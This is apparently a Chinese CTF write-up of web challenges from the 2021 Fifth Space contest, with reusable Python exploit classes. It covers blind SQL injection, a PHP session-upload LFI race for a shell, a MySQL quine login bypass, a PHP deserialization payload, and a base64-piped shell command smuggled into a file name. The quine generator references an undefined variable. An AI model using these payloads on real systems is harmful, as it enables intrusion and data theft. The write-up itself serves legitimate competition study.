第五空间线上赛web部分题解与模块化CTF解题工具编写的一些思考
VSole2021-10-19 16:21:08
0x00 前言
之前在打大大小小的比赛过程中，发现其实很多题的手法和流程是一致的，只是具体的细节比如说绕过方式不同，如何在比赛中快速写好通用的逻辑，在解具体赛题的过程中又能快速实现自定义化细节呢。一个简单的思路就是利用OOP的思想，编写一些基础通用的模块，在比赛时通过继承和方法重写实现快速自定义化。
比如在一类盲注题目中，无论是时间还是布尔，一般来说我们需要拿到一个判断输入逻辑是否正确的函数，比如下面这个hack函数
def hack(host:str,payload:str)->bool: data = { "uname":f"-1' or {payload}#", "passwd":f"123" } res = requests.post(f"{host}/sqli.php",data=data) #print(res.content) if b"admin" in res.content: return True return False
通过这个函数我们判断一个sql语句的逻辑结果是否正确，利用这点，我们可以利用枚举或者二分的手法来判断数据内容，从而进行盲注,一个常见的枚举函数如下图所示
def equBlind(sql:str)->None: ret="" i = 1 while True: flag = 0 for ch in string.printable: payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})' sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch)) sys.stdout.flush() if hack(payload): ret=ret+ch sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret)) sys.stdout.flush() flag = 1 break if flag == 0: break i+=1 sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
当然，不同的题目注入的方式和注入点肯定是不一样的，需要快速的自定义细节，那么我们要继续细化各函数的功能吗，显然不太现实，而且调用起来也会很麻烦。如何在耦合和内聚中取得平衡是在模块编写中需要注意的。目前的一个简单想法就是把大的逻辑分开，比如盲注中判定sql逻辑的部分和注出数据的部分，从外部传入target，各功能之间的公用参数挂在对象上。下面是一个基础的Sql注入利用类
import requests
import threading,sys
import string
class BaseSqliHelper:
def __init__(self,host:str) -> None:
self.host = host
self.pt = string.printable
pass
def hack(self,payload:str)->bool:
data = {
"uname":f"-1' or {payload}#",
"passwd":f"123"
}
res = requests.post(f"{self.host}/sqli.php",data=data)
#print(res.content)
if b"admin" in res.content:
return True
return False
def equBlind(self,sql:str)->None:
ret=""
i = 1
while True:
flag = 0
for ch in self.pt:
payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'
sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))
sys.stdout.flush()
if self.hack(payload):
ret=ret+ch
sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
flag = 1
break
if flag == 0:
break
i+=1
sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
def efBlind(self,sql:str)->None:
ret=""
i = 1
while True:
l=20
r=130
while(l+1<r):
mid=(l+r)//2
payload=f"if((ascii(substr(({sql}),{i},1)))>{mid},1,0)"
if self.hack(payload):
l=mid
else :
r=mid
if(chr(r) not in self.pt):
break
i+=1
ret=ret+chr(r)
sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
if __name__ == "__main__":
host = "http://127.0.0.1:2335"
sqlexp = BaseSqliHelper(host=host)
print(sqlexp.hack("1=1"))
sql = "select database()"
sqlexp.equBlind(sql)
sqlexp.efBlind(sql)
目前在 https://github.com/EkiXu/ekitools 仓库中实现了几个简单的模块，包括php session lfi,Sqli 以及quine相关,tests文件夹下存放了一些示例用来测试基础类功能是否正常。
一些模块利用方法将会在后面的wp中具体进行介绍。
0x01 EasyCleanup
看了一下源码，出题人应该是想让选手利用最多8种字符，最长15字符的rce实现getshell，然而看phpinfo();没禁php session upload progress同时给了文件包含
那么就直接拿写好的模块一把梭了,可以看到这里利用继承重写方法的方式进行快速自定义，实际解题中就是copy基础类源码中示例函数+简单修改
from ekitools.PHP_LFI import BasePHPSessionHelper
import threading,requests
host= "http://114.115.134.72:32770"
class Exp(BasePHPSessionHelper):
def sessionInclude(self,sess_name="ekitest"):
#sessionPath = "/var/lib/php5/sess_" + sess_name
#sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
sessionPath = f"/tmp/sess_{sess_name}"
upload_url = f"{self.host}/index.php"
include_url = f"{self.host}/index.php?file={sessionPath}"
headers = {'Cookie':'PHPSESSID=' + sess_name}
t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
t.setDaemon(True)
t.start()
while True:
res = requests.post(include_url,headers=headers)
if b'Included' in res.content:
print("[*] Get shell success.")
print(include_url,res.content)
break
else:
print("[-] retry.")
return True
exp = Exp(host)
exp.sessionInclude("g")
0x02 yet_another_mysql_injection
题目提示了?source给了源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- source code here: /?source -->
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="initial-scale=1.0, user-scalable=no, width=device-width">
<title>SQLi</title>
<link rel="stylesheet" type="text/css" href="./files/reset.css">
<link rel="stylesheet" type="text/css" href="./files/scanboardLogin.css">
<link rel="stylesheet" type="text/css" href="./files/animsition.css">
</head>
<body>
<div class="wp animsition" style="animation-duration: 0.8s; opacity: 1;">
<div class="boardLogin">
<div class="logo ">
LOGIN AS ADMIN!
</div>
<form action="index.php" method="post">
<div class="inpGroup">
<span class="loginIco1"></span>
<input type="text" name="username" placeholder="请输入您的用户名">
</div>
<div class="inpGroup">
<span class="loginIco2"></span>
<input type="password" name="password" placeholder="请输入您的密码">
</div>
<div class="prompt">
<p class="success">输入正确</p>
</div>
<button class="submit">登录</button>
</form>
</div>
</div>
<div id="particles-js"><canvas class="particles-js-canvas-el" style="width: 100%; height: 100%;" width="3360" height="1780"></canvas></div>
<script type="text/javascript" src="./files/jquery.min.js"></script>
<script type="text/javascript" src="./files/jquery.animsition.js"></script>
<script src="./files/particles.min.js"></script>
<script src="./files/app.js"></script>
<script type="text/javascript">
$(".animsition").animsition({
inClass : 'fade-in',
outClass : 'fade-out',
inDuration : 800,
outDuration : 1000,
linkElement : '.animsition-link',
loading : false,
loadingParentElement : 'body',
loadingClass : 'animsition-loading',
unSupportCss : [ 'animation-duration',
'-webkit-animation-duration',
'-o-animation-duration'
],
overlay : false,
overlayClass : 'animsition-overlay-slide',
overlayParentElement : 'body'
});
</script>
</body></html>
可以看到可控参数其实只有password,那么直接构造一个永真式
'or '1'like '1
然后发现还是报
alertMes("something wrong",'index.php');
可以推断库中没有数据，此时仍然要使得$row['password'] === $password,很容易想到通过联合注入来构造$row['password'],然而为了实现这一目标我们要使输入的password参数查出的password列值为自身。事实上这是一类quine即执行自身输出自身，quine一个常见的思路就是通过替换来构造,通过将一个较短的占位符，替换成存在的长串字符串来构造。这个考点也在Holyshield CTF和Codegate出现过
def genMysqlQuine(sql:str,debug:bool=False,tagChar:str="$")->str:
'''
$$用于占位
'''
tagCharOrd:int = ord(tagChar)
if debug:
print(sql)
sql = sql.replace('$$',f"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR({tagCharOrd}),$$)")
text = sql.replace('$$',f'"{tagChar}"').replace("'",'"')
sql = sql.replace('$$',f"'{test}'")
if debug:
print(sql)
return sql
if __name__ == "__main__":
res = genMysqlQuine("UNION SELECT $$ as password -- ",tagChar="%")
print(res)
该代码也模块化放在ekitools里了
from ekitools.quine import genMysqlQuine
import requests
host = "http://114.115.143.25:32770"
data = {
"username":"admin",
"password":genMysqlQuine("'union select $$ as password#",tagChar="%").replace(" ","/**/")
}
print(data)
res = requests.post(host,data=data)
print(res.content)
0x03 pklovecloud
直接反序列化了,好像也没啥链子。。。
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function setCinder($cinder){
$this->cinder = $cinder;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$b = new stdClass;
$b->neutron = $heat;
$b->nova = $heat;
$a = new ace;
$a->docker = $b;
$a->filename = 'flag.php';
$exp = new acp;
$exp->setCinder($a);
var_dump(urlencode(serialize($exp)));
?>
0x04 PNG图片转换器
阅读相关材料
https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#command-injection
可知redis的一个特性 open能够命令注入
那么绕过手段就很多了，比如base64
import requests
url = "http://114.115.128.215:32770"
#url = "http://127.0.0.1:4567"
print(hex(ord('.')),hex(ord("/")))
res = requests.post(f"{url}/convert",data="file=|echo Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt | base64 -d | sh;.png".encode("utf-8"),headers={"Content-Type":"application/x-www-form-urlencoded"},allow_redirects=False)
print(res.content)
0x05 WebFtp
好像就是一个./git源码泄露，审计下代码在/Readme/mytz.php有act能获取phpinfo(),在phpinfo环境变量页面里能得到flag
VSole
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